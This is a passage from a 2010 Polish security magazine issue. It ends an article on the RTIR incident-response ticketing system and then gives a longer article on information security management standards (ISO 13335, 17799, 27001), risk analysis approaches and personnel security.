wiadomości. Inne przykłady rozszerzeń to
niszczarka (shredder), SLA (Service Level
Agreements), kalendarz (RTx::Calendar),
scalanie użytkowników (RT::Extension::
MergeUsers), wizualizacja biletów na osi
czasu (RT::Extension::Timeline). Obecnie, na
oficjalnej stronie projektu dostępne jest w
sumie ponad 30 rozszerzeń.
Podsumowanie
Systemy wsparcia reagowania na incydenty
stanowią bardzo użyteczne narzędzie,
pozwalające zorganizować pracę zespołów
CERT/CSIRT. W niniejszym artykule
przedstawiono jedynie ogólne koncepcje
realizacji takich systemów oraz pokrótce
scharakteryzowano jedno z istniejących,
popularnych, wolnodostępnych rozwiązań
o otwartym kodzie źródłowym. Zarówno
możliwości RTIR jak i wielu innych systemów
tego typu są znacznie szersze, a dogłębne
ich omówienie na łamach kilkustronicowego
artykułu – niemożliwe. RTIR mimo
swych wad niewynikających z oficjalnej
dokumentacji (takich jak niedokończone
tłumaczenie interfejsu na język polski),
posiada jedną, ważną zaletę – bogate
możliwości dostosowania do własnych
potrzeb. W wersji obecnej omówiony system
stanowi, jeśli nie bardzo dobre rozwiązanie
końcowe, to co najmniej bardzo dobrą bazę
do wypracowania takiegoż.
Bardziej dociekliwych odsyłam do
ramki W Sieci, gdzie znaleźć można kilka
ciekawych linków na temat RT (w tym
oficjalne demo on-line, w którym brakuje
niestety wtyczki RTIR).
Marcin Teodorczyk
Autor jest absolwentem kierunku Informatyka jednej
z największych polskich uczelni technicznych.
Obecnie pracuje jako asystent informatyczny w dziale
bezpieczeństwa jednego z wiodących w Polsce
dostarczycieli usług obliczeniowych i sieciowych.
Kontakt z autorem: [email protected].
BEZPIECZNA FIRMA
ANDRZEJ GUZIK
Stopień trudności
Bezpieczeństwo
informacji
Zapewnienie bezpieczeństwa informacji w organizacji wymaga
wdrożenia systemu zarządzania bezpieczeństwem informacji
(SZBI). Polskie normy dotyczące bezpieczeństwa informacji
obok przepisów prawa i standardów branżowych stanowią
tzw. najlepsze praktyki, wytyczne lub wymagania dla SZBI.
Informacja odgrywa w naszych czasach coraz większą rolę i w funkcjonowaniu
przedsiębiorstw staje się ważniejsza niż dostęp do kapitału.
Alvin Tofler
W
Z ARTYKUŁU
DOWIESZ SIĘ
jak zapewnić bezpieczeństwo
informacji w organizacji.
CO POWINIENEŚ
WIEDZIEĆ
znać podstawowe wymagania
dotyczące bezpieczeństwa
informacji.
68 HAKIN9 1/2010
raz z rozwojem społeczeństwa
informacyjnego pojawiła się
potrzeba standaryzacji zagadnień
związanych z bezpieczeństwem informacji. W
normie terminologicznej PN-ISO/IEC 2382-8:
2001 Technika informatyczna -Terminologia
– Bezpieczeństwo nie znajdziemy definicji
bezpieczeństwa informacji. Operuje ona
pojęciem bezpieczeństwa danych rozumianym
jako bezpieczeństwo systemu informatycznego
odniesione do danych. Zaś samo bezpieczeństwo
systemu informatycznego definiuje jako ochronę
danych i zasobów przed przypadkowymi lub
złośliwymi działaniami, zwykle poprzez podjęcie
odpowiednich przedsięwzięć. Złośliwymi
działaniami mogą być: modyfikacja, zniszczenie,
dostęp, ujawnienie lub pozyskanie, jeśli działania
te są nieuprawnione. Natomiast ochronę danych
określa jako wdrożenie środków administracyjnych,
technicznych lub fizycznych w celu ochrony przed
nieuprawnionym dostępem do danych.
W drugiej normie terminologicznej PNI-02000: 2002 Technika informatyczna
– Zabezpieczenia w systemach
informatycznych – Terminologia znajdziemy
termin bezpieczeństwa informacji rozumiany
jako system informatyczny wraz z systemem
bezpieczeństwa komunikacji, składający się
z wytycznych i procedur administracyjnych,
przeznaczony do identyfikowania, nadzoru
i ochrony informacji przed nieuprawnionym
ujawnieniem. Natomiast ochronę danych
norma definiuje tak jak norma PN-ISO/IEC
2382-8: 2001.
Warto w tym miejscu zwrócić uwagę na
rozgraniczenie angielskiego słowa security
i safety, tłumaczonych jako bezpieczeństwo.
Autorzy tłumaczenia normy przyjęli, że termin
security oznacza wszelkie zabezpieczenia
chroniące system informatyczny i jego zasoby
przed szkodliwym oddziaływaniem otoczenia. Zaś
termin safety oznacza wszelkie zabezpieczenia
chroniące otoczenie przed szkodliwymi lub
wręcz katastroficznymi oddziaływaniami systemu
informatycznego na otoczenie systemu.
Standardy
bezpieczeństwa informacji
Przejdźmy do standardów o fundamentalnym
znaczeniu dla bezpieczeństwa informacji.
Wśród nich należy wymienić: raporty ISO/IEC
TR 13335 oraz normę ISO/IEC 17799.
W Polsce ukazały się 3 spośród 5 części
raportów technicznych ISO/IEC TR 13335.
Część 1 ukazała się jako polska norma
PN-I-13335-1: 1999 Technika informatyczna
- Wytyczne do zarządzania bezpieczeństwem
systemów informatycznych - Pojęcia i modele
bezpieczeństwa systemów informatycznych,
część 2 i 3 jako raporty techniczne: ISO/IEC TR
13335-2 Technika informatyczna - Wytyczne
do zarządzania bezpieczeństwem systemów
informatycznych Część 2: Zarządzanie i
planowanie bezpieczeństwa systemów
BEZPIECZEŃSTWO INFORMACJI
informatycznych oraz ISO/IEC TR 133353 Technika informatyczna - Wytyczne do
zarządzania bezpieczeństwem systemów
informatycznych Część 3: Techniki
zarządzania bezpieczeństwem systemów
informatycznych.
W Polsce nie przetłumaczono 4
części raportu: ISO/IEC 13335-4: Wybór
zabezpieczeń oraz części 5 raportu: ISO/
IEC 13335-5: Zabezpieczenie połączeń
zewnętrznych.
Polska norma PN-I-13335-1 zawiera
wytyczne dotyczące zarządzania
bezpieczeństwem systemów
informatycznych. Materiał ten może
być przydatny dla kierownictwa
odpowiedzialnego za bezpieczeństwo
systemów informatycznych oraz dla
osób, które odpowiadają za całościowy
program bezpieczeństwa w instytucji.
W rozumieniu normy bezpieczeństwo
systemu informatycznego to wszystkie
aspekty związane z definiowaniem,
osiąganiem i utrzymywaniem poufności,
integralności, dostępności, rozliczalności,
autentyczności i niezawodności. W
normie przedstawiono podstawowe
pojęcia dotyczące bezpieczeństwa
teleinformatycznego, takie jak: zasób,
podatność, zagrożenia, następstwo, ryzyko,
zabezpieczenie lub ryzyko szczątkowe.
W formie prostych modeli pojęciowych
pokazano związki zachodzące między nimi.
W normie przedstawiono również
podstawowe procesy związane z
procesem zarządzania bezpieczeństwem
systemów informatycznych.
Wyodrębniono trzy podstawowe procesy:
proces zarządzania konfiguracją,
proces zarządzania zmianami i proces
zarządzania ryzykiem.
Autorzy normy zwracają uwagę na
ograniczenia organizacyjne, finansowe,
środowiskowe, osobowe, czasowe,
prawne, techniczne, kulturowe i społeczne,
które należy wziąć pod uwagę wybierając
i implementując zabezpieczenia w
ramach budowy sytemu bezpieczeństwa
instytucji.
Raport techniczny ISO/IEC 133352, wydanie polskie – Polski Komitet
Normalizacyjny 2003, zawiera wytyczne do
zarządzania i planowania bezpieczeństwa
systemów teleinformatycznych.
Raport ten może być przydatny dla
kierownictwa odpowiedzialnego za
systemy informatyczne w instytucji.
Zarządzanie bezpieczeństwem systemów
informatycznych instytucji jest procesem,
który ma służyć osiąganiu i utrzymaniu
odpowiedniego poziomu poufności,
integralności, dostępności, rozliczalności,
autentyczności i niezawodności. Punktem
startu jest ustalenie celów instytucji
dotyczących bezpieczeństwa systemów
informatycznych. Cele te powinny
wynikać z celów biznesowych instytucji.
Zarządzanie bezpieczeństwem systemów
informatycznych obejmuje między innymi
takie działania jak: określenie celów, strategii
i polityki bezpieczeństwa, określenie
wymagań w zakresie bezpieczeństwa,
wybór strategii analizy ryzyka, wybór
zabezpieczeń, opracowanie planu
zabezpieczeń systemu/-ów informatycznych
instytucji, monitorowanie procesu ich
wdrażania, przygotowanie personelu
(szkolenia, działania uświadamiające) oraz
czynności po wdrożeniu zabezpieczeń, takie
jak: utrzymanie zabezpieczeń, zgodność z
planem zabezpieczeń, monitorowanie oraz
obsługa incydentów.
Warto w tym miejscu zwrócić uwagę
na organizację służb odpowiedzialnych za
bezpieczeństwo w instytucji, a mianowicie:
komitetu bezpieczeństwa systemów
informatycznych, głównego inspektora
bezpieczeństwa systemów informatycznych,
inspektorów bezpieczeństwa projektu/
systemu informatycznego. Zasadniczą
sprawą dla efektywności działań w zakresie
zapewnienia bezpieczeństwa systemów
informatycznych instytucji jest poparcie ze
strony najwyższego kierownictwa instytucji.
Poparcie to musi być faktyczne, a nie tylko
deklaratywne.
Raport techniczny ISO/IEC 133353, wydanie polskie – Polski Komitet
Normalizacyjny 2003, zawiera wytyczne
do zarządzania bezpieczeństwem
systemów informatycznych. Zarządzanie
bezpieczeństwem systemów
informatycznych obejmuje analizę
wymagań bezpieczeństwa, stworzenie
planu, który zapewni spełnienie tych
wymagań, wdrożenie tego planu oraz
utrzymanie i administrowanie wdrożonymi
zabezpieczeniami. Proces ten rozpoczyna
się od określenia celów i strategii
instytucji w dziedzinie bezpieczeństwa
systemów informatycznych oraz od
opracowania polityki bezpieczeństwa
instytucji w zakresie systemów
informatycznych. Ważną częścią procesu
zarządzania bezpieczeństwem systemów
informatycznych jest oszacowanie i analiza
ryzyka, ponieważ w oparciu o wyniki
analizy ryzyka dobiera się zabezpieczenia.
Zastosowane zabezpieczenia powinny
być efektywne kosztowo i uwzględniać
wymagania wynikające z przepisów
prawa, wymagania biznesowe i
wymagania z analizy ryzyka zasobów
posiadających wartość dla działania
instytucji. Ryzyko, jakie powstaje po
wprowadzeniu zabezpieczeń, nazywamy
ryzykiem szczątkowym. Również dokument
polityki bezpieczeństwa powinien zawierać
m. in. podejście do zarządzania ryzykiem,
strategię dla analizy ryzyka i części
składowe tej analizy (metody i techniki).
Przyjęta strategia analizy ryzyka powinna
uwzględniać warunki charakterystyczne
����������
��
��
�
�
��
��
��
�
��
��
�� � ������
�
�
��
�
��
��
��
��������
����������
����������������������
�������������������
���������������
�������������
Rysunek 1. Zależności pomiędzy elementami bezpieczeństwa
1/2010 HAKIN9
69
BEZPIECZNA FIRMA
dla jednostki organizacyjnej i
koncentrować się na działaniach
związanych z bezpieczeństwem, tam gdzie
są one naprawdę potrzebne.
W raporcie przedstawiono cztery
warianty podejścia do analizy ryzyka:
podejście podstawowego poziomu
bezpieczeństwa, podejście nieformalne,
szczegółową analizę ryzyka i podejście
mieszane. Podstawowa różnica pomiędzy
nimi dotyczy stopnia szczegółowości
analizy ryzyka.
Podejście podstawowego poziomu
bezpieczeństwa polega na wprowadzeniu
standardowych zabezpieczeń niezależnie
od ryzyka wynikającego z analizy
zasobów, zagrożeń i podatności.
Podejście nieformalne polega na
wykorzystaniu wiedzy i doświadczenia
ekspertów, koncentruje się na zasobach
narażonych na wysokie ryzyko.
Z kolei szczegółowa analiza ryzyka
wymaga identyfikacji i wyceny aktywów,
oszacowania zagrożeń oraz oszacowania
podatności.
Podejście czwarte, podejście
mieszane obejmuje dwa etapy. W
pierwszym etapie przeprowadza się
ogólną analizę ryzyka dla wszystkich
zasobów z uwzględnieniem ich
wartości biznesowej i ryzyka, na które
są one narażone. Dla wszystkich
zidentyfikowanych zasobów, które są
ważne dla instytucji i narażone na
wysokie ryzyko należy przeprowadzić
później szczegółową analizę ryzyka.
W drugim etapie dla pozostałych
zasobów należy zastosować
podejście podstawowego poziomu
bezpieczeństwa.
Przyjęcie podejścia mieszanego
zalecane jest dla większości instytucji.
������������
����������
����������
����������
��������
�����
����������
��������
�����������
��������������
������
�������
��������
�����������
�����
������
����������
���������
��������
�����������������
��������������
����������
�����������
���������
����������
�������
Rysunek 2. Związki w zarządzaniu ryzykiem
Jest ono najbardziej efektywne
– szczegółowa analiza ryzyka dla zasobów
posiadających wartość lub narażonych
na wysokie ryzyko, a dla pozostałych
zasobów zastosowanie podstawowego
poziomu bezpieczeństwa – wdrożenie
standardowych zabezpieczeń. Wdrożeniu
zabezpieczeń powinien towarzyszyć również
program uświadamiania i szkoleń, ważny
dla uzyskania efektywności zabezpieczeń.
Nie należy zapominać o dalszych
działaniach po wdrożeniu zabezpieczeń.
Działania te powinny obejmować m. in.
konserwację, sprawdzenie zgodności z
zasadami bezpieczeństwa, zarządzanie
zmianami, monitorowanie oraz
postępowanie w przypadku incydentów.
Warto również zwrócić uwagę na
załączniki do raportu. Mają one charakter
praktyczny. Załącznik A zawiera przykład
spisu treści polityki bezpieczeństwa instytucji
w zakresie systemów informatycznych,
załącznik B omawia wycenę aktywów,
załącznik C przedstawia listę kontrolną
możliwych typów zagrożeń, załącznik D
zawiera przykłady typowych podatności, zaś
załącznik E przykłady wykorzystania różnych
metod analizy ryzyka.
Zarządzanie
bezpieczeństwem informacji
Norma PN-ISO/IEC 17799: 2007
Technika informatyczna – Techniki
bezpieczeństwa – Praktyczne zasady
zarządzania bezpieczeństwem
informacji jest pierwszym standardem
obejmującym kompleksowo zarządzanie
bezpieczeństwem informacji. Celem tej
normy jest wdrożenie mechanizmów
zarządzania, które zapewnią, że
bezpieczeństwo informacji będzie istotnym
elementem funkcjonowania organizacji.
Tabela 1. Atrybuty informacji podlegające ochronie
Atrybuty
Informacji
ISO
17799
Informacje niejawne
Dane
osobowe
Tajemnica
przedsiębiorstwa
Inne
tajemnice
Poufność
Tak
Tak
Tak
Tak
Tak
Integralność
Tak
Tak
Tak
-
-
Dostępność
Tak
Tak
-
-
-
Rozliczalność
Tak
-
Tak
-
-
Autentyczność
Tak
-
-
-
-
Niezaprzeczalność
Tak
-
-
-
-
Niezawodność
Tak
-
-
-
70 HAKIN9 1/2010
BEZPIECZEŃSTWO INFORMACJI
Norma zawiera wytyczne zarządzania
bezpieczeństwem informacji. Dotyczy
wszystkich obszarów bezpieczeństwa:
fizycznego i środowiskowego, osobowego,
IT, zarządzenia ciągłością działania i
zapewnienia zgodności z przepisami prawa.
Zgodnie z normą informacja jest
aktywem, który podobnie jak inne ważne
aktywa biznesowe, ma dla instytucji
wartość i dlatego należy ją odpowiednio
chronić. Dotyczy to zarówno ochrony
informacji własnych instytucji, jak i
zapewnienia bezpieczeństwa informacji
udostępnionych przez klienta.
Bezpieczeństwo informacji według
normy oznacza ochronę informacji
przed różnymi zagrożeniami w taki
sposób, aby zapewnić ciągłość
działania – realizację celów statutowych
instytucji, zminimalizowanie strat i
zmaksymalizowanie zwrotu nakładów
na inwestycje i działania o charakterze
biznesowym. Norma odnosi się do 3
aspektów informacji podlegających
ochronie: poufności – zapewnienie dostępu
do informacji tylko osobom upoważnionym,
integralności – zapewnienie dokładności
i kompletności informacji i metod jej
przetwarzania, dostępności – zapewnienia,
że osoby upoważnione mają dostęp do
informacji i związanych z nią aktywów
wtedy, gdy jest im to potrzebne.
W przypadku informacji biznesowych
stanowiących tajemnicę przedsiębiorstwa
największe znaczenie dla bezpieczeństwa
informacji ma ochrona poufności, tzn.,
informacja nie powinna być udostępniana
lub ujawniana nieautoryzowanym
osobom, podmiotom lub procesom.
Norma PN-ISO/IEC 27001: 2007
Technika informatyczna – Techniki
bezpieczeństwa – Systemy zarządzania
bezpieczeństwem informacji – Wymagania
definiuje system zarządzania
bezpieczeństwem informacji (SZBI).
Powinien on stanowić część składową
systemu zarządzania instytucją i być
oparty na podejściu wynikającym z
ryzyka biznesowego. Norma zaleca
podejście systemowe oparte na ciągłym
doskonaleniu zgodnie z cyklem PDCA (PlanDo-Check-Act) Deminga obejmującym:
ustanowienie, wdrożenie, eksploatację,
monitorowanie, przegląd, a także utrzymanie
i doskonalenie SZBI.
Norma oparta jest podobnie jak
norma ISO 9001: 2000 i norma ISO
14001: 2004 na zasadach podejścia
procesowego. Umożliwia instytucji budowę
zintegrowanego systemu zarządzania:
zarządzania jakością w oparciu o normę
ISO 9001 i zarządzania bezpieczeństwem
informacji w oparciu o normę ISO 27001.
Wdrożenie w instytucji zintegrowanego
systemu zarządzania może przynieść
��������������
������
organizacji szereg korzyści: pozwoli objąć
systemem wszystkie obszary działania
firmy, zwrócić uwagę na ochronę informacji
i jej wartość, zwiększyć zainteresowanie
technologiami ICT, spowodować
prowadzenie analizy i zarządzania ryzykiem,
zapewnić opracowanie planów ciągłości
działania, przyczynić się do uzyskania
przewagi nad konkurencją i poprawić
wizerunek firmy.
��������������
������
������
������
������������
����
�������
����
���������
�������������������
����������
�������������
���������
��������������
����������
����������
�������������������
�������������
���������������
�����������������
�������
�����
�����������
����������������
����������
Rysunek 3. Model PDCA stosowany w procesach SZBI
Tabela 2. Stopnie dojrzałości organizacji do zarządzania bezpieczeństwem informacji
Stopień
Nazwa
Charakterystyka
0
Brak
świadomości
• brak zdefiniowania wymagań bezpieczeństwa
• bezpieczeństwo traktowane jest jako problem
poszczególnych użytkowników
I
Początkowy
• świadomość potrzeby
• kierownictwo uważa to za problem IT (typu: prawa
dostępu, ochrona antywirusowa)
II
Intuicyjny
• próby tworzenia zabezpieczeń
• brak jednolitego podejścia
• efekty zależne od zaangażowania osób
zainteresowanych
III
Zdefiniowany
• zdefiniowane zasady (w tym Polityka
bezpieczeństwa) w całej organizacji
• procedury bezpieczeństwa są utrzymywane i
komunikowane
• brak kontroli stosowania
IV
Zarządzany
• jednolite podejście dla wszystkich komórek i
wszystkich rozwiązań
• obowiązuje perspektywa biznesu
• funkcjonuje mechanizm kontroli stosowania
V
Optymalizowany
• świadome zarządzanie ryzykiem
• zgodność strategii bezpieczeństwa ze strategią
biznesową
• zapewnienie bezpieczeństwa traktowane jako
proces (wiedza, doskonalenie)
1/2010 HAKIN9
71
BEZPIECZNA FIRMA
W załączniku A do normy
przedstawiono cele stosowania
zabezpieczeń i zabezpieczenia, które
należy wybrać w przypadku podjęcia
decyzji o wdrożeniu w instytucji SZBI.
Norma może być przydatna dla każdej
organizacji, niezależnie od wielkości, czy
branży, niezależnie od tego, czy instytucja
będzie ubiegać się o certyfikację
systemu zarządzania bezpieczeństwem
informacji, czy nie. Do certyfikacji systemu
zarządzania bezpieczeństwem informacji
przeznaczona jest norma BS 7799-2 (PNISO/IEC 27001: 2007).
Oprócz normy ISO 17779
istnieją inne standardy dotyczące
bezpieczeństwa. Przykładem
może być standard Wytyczne w
sprawie bezpieczeństwa systemów
informacyjnych wydany przez
Organizację Rozwoju i Współpracy
Gospodarczej (OECD), która zrzesza
najbardziej uprzemysłowione kraje
świata, w tym Polskę. Wytyczne te mogą
Tabela 3. Podstawowe zasady ochrony informacji
Lp. Zasada
Treść zasady
1
Zasada przywilejów koniecznych Każdy użytkownik systemu informatycznego
posiada prawa ograniczone wyłącznie do
tych, które są konieczne do wykonywania
powierzonych mu zadań
2
Zasada wiedzy koniecznej
Pracownicy posiadają wiedzę o systemie
informatycznym, ograniczoną wyłącznie do
zagadnień, które są konieczne do realizacji
powierzonych zadań
3
Zasada usług koniecznych
Zakres dostępnych usług systemu jest
ograniczony tylko do tych, które są konieczne
do prawidłowego funkcjonowania organizacji
4
Zasada asekuracji
zabezpieczeń
Ochrona systemu informatycznego nie może
opierać się wyłącznie o jeden mechanizm
zabezpieczenia, nawet gdy zastosowana
technologia jest uznawana za wysoce
zaawansowaną i niezawodną
5
Zasada pracy zbiorowej
Wszyscy użytkownicy systemu
informatycznego są świadomi konieczności
ochrony wykorzystywanych zasobów
6
Zasada indywidualnej
odpowiedzialności
Za utrzymanie właściwego poziomu
bezpieczeństwa poszczególnych elementów
systemu informatycznego odpowiadają
konkretne osoby, które mają świadomość tego
za co są odpowiedzialne i jakie konsekwencje
poniosą jeżeli zaniedbają swoje obowiązki
7
Zasada obecności koniecznej
Prawo przebywania w określonych
pomieszczeniach mają wyłącznie osoby,
które są do tego upoważnione lub
posiadają tymczasową zgodę wydaną przez
odpowiedni organ nadzorczy
8
Zasada stałej gotowości
System ochrony jest przygotowany do odparcia
wszystkich realnych zagrożeń. Pod żadnym
pozorem nie może zdarzyć się sytuacja
tymczasowego wyłączenia zabezpieczeń,
która pozostawi określone elementy systemu
informatycznego bez ochrony
9
Zasada najsłabszego „ogniwa
łańcucha”
Poziom bezpieczeństwa systemu
informatycznego wyznacza najsłabszy
(najmniej zabezpieczony) element tego
systemu. Z reguły, włamanie do systemu
odbywa się poprzez wyszukiwanie luk w
systemie ochrony
72 HAKIN9 1/2010
stanowić uzupełnienie norm dotyczących
bezpieczeństwa informacji.
W przypadku outsourcingu usług
związanych z IT, pamiętajmy o sprawdzeniu
referencji firmy oraz kwalifikacji i
doświadczenia pracowników świadczących
usługę. Warto zadbać również o podpisanie
stosownej umowy o zachowaniu poufności
zarówno z firmą, jak i z każdym z jej
pracowników świadczących usługę. Na
koniec należy sprawdzić, czy wykonawca
posiada ważną polisę w zakresie
odpowiedzialności cywilnej obejmującą
zakres świadczonych usług. Posiadanie
przez pracowników firmy poświadczeń
bezpieczeństwa lub przez firmę świadectwa
bezpieczeństwa przemysłowego, to ważny
atut przy zawieraniu umowy.
Bezpieczeństwo osobowe
Człowiek jest najsłabszym elementem
systemu ochrony informacji. Jak wynika
ze statystyk, około 80 % incydentów
związanych z przetwarzaniem informacji
spowodowanych jest przez czynnik ludzki.
Powiedzenie kadry decydują o wszystkim
jest jak najbardziej prawdziwe. Należy o
nim pamiętać już na etapie rekrutacji i
zatrudniania personelu (należy zatrudniać
właściwych ludzi, sprawdzać ich referencje
z poprzednich miejsc pracy, szkolić
personel z procedur bezpieczeństwa,
ciągle podnosić jego świadomość,
rozdzielać kluczowe obowiązki pomiędzy
dwóch pracowników zgodnie z zasadą
dwóch par oczu).
Przetwarzanie informacji biznesowych,
stanowiących tajemnicę przedsiębiorstwa
wymaga, aby personel spełniał
dodatkowe wymagania. Uzyskanie
dostępu do tajemnicy przedsiębiorstwa
wymaga od pracownika podpisania
zobowiązania do jej zachowania.
W przypadku przetwarzania informacji
niejawnych pracownik powinien posiadać
poświadczenie bezpieczeństwa
uprawniające do dostępu do dokumentów
i materiałów o określonej klauzuli tajności
(ściśle tajne, tajne, poufne lub zastrzeżone).
Poświadczenie bezpieczeństwa daje
rękojmię zachowania tajemnicy przez
zainteresowanego. W przypadku
przetwarzania danych osobowych
administrator danych (przedsiębiorca)
wydaje osobie przetwarzającej dane
BEZPIECZEŃSTWO INFORMACJI
osobowe upoważnienie do przetwarzania
danych osobowych.
Warto w tym miejscu przytoczyć
zapisy §3 Rozporządzenia Ministra Pracy
i Polityki Socjalnej z dnia 28 maja 1996
r. w sprawie zakresu prowadzenia przez
pracodawców dokumentacji w sprawach
związanych ze stosunkiem pracy oraz
sposobu prowadzenia akt osobowych. Ww.
paragraf stanowi, że Pracodawca przed
dopuszczeniem pracownika do pracy
uzyskuje jego pisemne potwierdzenie
zapoznania się z treścią regulaminu pracy
oraz z przepisami i zasadami dotyczącymi
bezpieczeństwa i higieny pracy, a także z
zakresem informacji objętych tajemnicą
określoną w obowiązujących ustawach dla
umówionego z pracownikiem rodzaju pracy.
Warto na co dzień korzystać z tego zapisu.
Również w obrocie gospodarczym,
przed rozpoczęciem negocjacji
handlowych, coraz częściej obserwujemy
wśród przedsiębiorców praktykę
podpisywania umów o poufności.
Ryzyko wycieku informacji
gospodarczych z organizacji zmusza
przedsiębiorców do zajęcia się
problemem bezpieczeństwa personelu.
Najczęściej z firmy wyciekają informacje
biznesowe, dane personalne klientów
oraz własność intelektualna: pomysły
Tabela 4. Dobre praktyki w przetwarzaniu
dokumentów
nowych rozwiązań, czy kody źródłowe
oprogramowania.
Jak wynika z praktyki, najczęściej
wyciekają informacje w postaci
dokumentów elektronicznych (z uwagi na
łatwość): najczęściej za pośrednictwem
poczty elektronicznej, komunikatorów
internetowych i sieci bezprzewodowych.
Cenne informacje pracownicy wynoszą
na nośnikach informatycznych: na
płytach CD/DVD, nagrane na pamięciach
USB, rzadziej w postaci dokumentów
papierowych (kserokopie). Zdarzają się
przypadki podkupywania pracowników,
kradzieży sprzętu, prowadzenia
podsłuchów, czy szpiegostwa
gospodarczego i przemysłowego.
Wdrożenie podstawowych zasad
bezpieczeństwa, a w szczególności
szyfrowanie informacji ogranicza
możliwość takich działań.
O bezpieczeństwie kadrowym musimy
myśleć już na etapie rekrutacji personelu,
następnie monitorować je czasie
trwania stosunku pracy, aż do momentu
rozwiązania z pracownikiem umowy o
pracę. Dotyczy to zwłaszcza kluczowego
personelu. Z menedżerami najwyższego
szczebla należy podpisać umowy o
zakazie konkurencji.
Ważne jest, aby na co dzień
przestrzegać zasady wiedzy koniecznej
(ang. need to know), a nie zasady
przyjemnie byłoby wiedzieć (ang. nice
to know). W oparciu o role w organizacji
pracownicy powinni posiadać określone
prawa i mieć zdefiniowany zakres dostępu
do zasobów informacyjnych, zwłaszcza w
systemach informatycznych. Uprawnienia
te powinny być okresowo przeglądane i
weryfikowane.
Indywidualnym dokumentem
określającym uprawnienia pracownika
w systemach teleinformatycznych
powinno być Upoważnienie do
przetwarzania danych. Pełni ono w
organizacji kilka funkcji. Uzupełnia
zapisy poczynione w umowie o pracę i
określa zadania pracownika związane
z realizacją polityki bezpieczeństwa
firmy. Specyfikuje dokumenty i programy
wraz z wymaganymi uprawnieniami
konieczne dla wykonywanej pracy. Jest
podstawą do instalacji oprogramowania
na stacji roboczej użytkownika i założenia
użytkownikowi konta w systemie/programie
Normy, standardy, zalecenia
•
•
Lp.
Praktyki
1
obieg dokumentów
kontrolowany (przekazywanie za
pokwitowaniem odbioru)
2
dostęp do dokumentów
elektronicznych zgodny z
przyznanymi uprawnieniami
3
udostępnianie dokumentów tylko
osobom uprawnionym
4
określona osobista
odpowiedzialność za
przetwarzanie dokumentów
5
dokumenty źródłowe
odpowiednio chronione
6
dostęp do pomieszczeń
kontrolowany
•
7
zapewnione warunki środowiskowe
w pomieszczeniach
•
8
kopie awaryjne wykonywane i
odpowiednio przechowywane
•
•
•
•
•
•
•
•
PN-ISO/IEC 2382-8: 2001 Technika informatyczna – Terminologia – Bezpieczeństwo – norma
terminologiczna
PN-I-02000: 2002 Technika informatyczna – Zabezpieczenia w systemach informatycznych
– Terminologia – norma terminologiczna
PN-I-13335-1: 1999 Technika informatyczna – Wytyczne do zarządzania bezpieczeństwem
systemów informatycznych – Pojęcia i modele bezpieczeństwa systemów informatycznych
ISO/IEC TR 13335-2 Technika informatyczna – Wytyczne do zarządzania bezpieczeństwem
systemów informatycznych Część 2: Zarządzanie i planowanie bezpieczeństwa systemów
informatycznych
ISO/IEC TR 13335-3 Technika informatyczna – Wytyczne do zarządzania bezpieczeństwem
systemów informatycznych Część 3: Techniki zarządzania bezpieczeństwem systemów
informatycznych
ISO/IEC 13335-4: Wybór zabezpieczeń
ISO/IEC 13335-5: Zabezpieczenie połączeń zewnętrznych
BS 7799-1 – standard opracowany przez BSI, definiuje wytyczne w zakresie ustanowienia,
wdrożenia, eksploatacji, monitorowania, przeglądu, utrzymania i doskonalenia Systemu
Zarządzania Bezpieczeństwem Informacji (zastąpiony przez ISO/IEC 17799: 2005 i
przenumerowany później na ISO/IEC 27002:2005)
BS 7799-2 – standard opracowany przez BSI, definiuje wymagania w zakresie
ustanowienia, wdrożenia, eksploatacji, monitorowania, przeglądu, utrzymania i doskonalenia
Systemu Zarządzania Bezpieczeństwem Informacji (zastąpiony przez ISO/IEC 27001: 2005)
BS 7799-3 – standard opracowany przez BSI, dotyczy zarządzania ryzykiem w
bezpieczeństwie informacji (zastąpiony przez ISO/IEC 27005)
BS 25999: 2006 – standard opracowany przez BSI, dotyczy zarządzania ciągłością
działania (zastąpił specyfikacje PAS-56)
ISO/IEC TR 18044 – standard przedstawia dobre praktyki w zakresie zarządzania
incydentami bezpieczeństwa informacji.
1/2010 HAKIN9
73
BEZPIECZNA FIRMA
z wymaganym dostępem i wymaganymi
uprawnieniami. Wreszcie dokumentuje
wymagania polityki bezpieczeństwa
związane z przetwarzaniem zbiorów/
dokumentów, a w szczególności
przydzielanie wymaganego dostępu i
związanych z nim uprawnień. Dokumentuje
także potwierdzenie zapoznania się z
działaniem programów i z przepisami o
ochronie danych oraz zobowiązanie do
zachowania w tajemnicy przetwarzanych
danych i sposobu ich ochrony. Dobrą
praktyką jest, aby wszyscy pracownicy
podpisali stosowne zobowiązania o
poufności, a z kluczowymi pracownikami
zawarto umowy o zakazie konkurencji.
Zgodnie z normą ISO 17799
bezpieczeństwo osobowe ma na celu
ograniczenie ryzyka błędu ludzkiego,
kradzieży, oszustwa lub niewłaściwego
użytkowania zasobów.
W aktach osobowych pracownika
powinny znaleźć się stosowne zapisy
dotyczące zachowania poufności lub
nieujawniania informacji pozyskanych
w czasie stosunku pracy, jak i po jego
zakończeniu (np. umowa o zakazie
konkurencji) i zapisy dotyczące
odpowiedzialności pracownika za
ochronę (bezpieczeństwo) informacji.
Kevin Mitnick w swojej książce Sztuka
podstępu pisze łamałem ludzi nie hasła.
Dlatego też należy cyklicznie szkolić
własny personel, uświadamiać zagrożenia
i wskazywać na potrzebę ochrony
informacji biznesowych. Tematem szkoleń
powinny być procedury bezpieczeństwa,
wynikające z przyjętej w organizacji polityki
bezpieczeństwa informacji, zwłaszcza
zasady dostępu do informacji i obiegu
dokumentów, procedury udostępniania
i powierzania przetwarzania informacji
posiadających wartość gospodarczą.
Kluczowe znaczenie dla bezpieczeństwa
ekonomicznego organizacji ma odporność
własnego personelu na działania i metody
socjotechniczne stosowane przez osoby
zatrudnione w wywiadzie konkurencyjnym i
gospodarczym.
Ataki socjotechniczne są najtrudniejsze
do wykrycia i obrony. Ofiara ataku często
nie wie, że została zaatakowana, stąd
trudność w skutecznej obronie. Jedyne co
można zrobić, to kształtować świadomość
zagrożeń oraz opracować odpowiednie
procedury bezpieczeństwa.
Zapobieganie atakom socjotechnicznym
w organizacji wymaga szeregu
skoordynowanych działań. W pierwszej
kolejności należy opracować i wdrożyć
stosowne procedury bezpieczeństwa, a
następnie przyjąć politykę klasyfikacji danych
oraz określić, które informacje należy chronić,
najlepiej w postaci wykazu informacji
podlegających ochronie.
Po drugie, w celu kształtowania
świadomości bezpieczeństwa wśród
pracowników, należy prowadzić
systematycznie teoretyczne i praktyczne
szkolenia (minimum raz, a najlepiej dwa
razy w ciągu roku) z zakresu metod
